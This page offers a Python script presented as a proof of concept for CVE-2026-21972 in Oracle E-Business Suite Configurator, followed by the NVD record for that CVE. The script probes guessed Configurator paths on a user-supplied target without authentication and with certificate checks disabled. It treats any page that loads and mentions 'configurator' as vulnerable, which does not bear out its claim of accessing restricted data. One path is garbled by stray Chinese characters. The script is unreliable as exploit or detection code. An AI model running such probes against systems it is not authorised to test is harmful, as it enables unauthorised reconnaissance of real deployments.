CVE-2026-21972

import requests # CVE-2026-21972 PoC - Oracle Configurator Information Disclosure # Target: Oracle E-Business Suite Configurator User Interface # This PoC demonstrates unauthenticated access to restricted data def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-21972""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, text/html', } # Common Configurator paths that may expose sensitive data paths = [ '/configurator/', '/OA_HTML/configurator/', '/forms/c配置urator/', '/xmlpserver/configurator/', ] for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and 'configurator' in response.text.lower(): print(f'[+] Potential vulnerability found at: {url}') return True except requests.RequestException as e: print(f'[-] Error accessing {url}: {e}') return False if __name__ == '__main__': target = input('Enter target URL: ') check_vulnerability(target)

{"cve": {"id": "CVE-2026-21972", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:00.330", "lastModified": "2026-01-29T14:47:18.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Configurator product of Oracle E-Business Suite (component: User Interface). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Configurator. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Configurator accessible data. CVSS 3.1 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Configurator de Oracle E-Business Suite (componente: Interfaz de Usuario). Las versiones compatibles que están afectadas son 12.2.3-12.2.15. Una vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red vía HTTP comprometer Oracle Configurator. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso de lectura no autorizado a un subconjunto de datos accesibles de Oracle Configurator. Puntuación Base CVSS 3.1 5.3 (Impactos en la Confidencialidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:configurator:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.3", "versionEndIncluding": "12.2.15", "matchCriteriaId": "327DECB4-3BE7-43C2-94AA-FF821F802F92"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}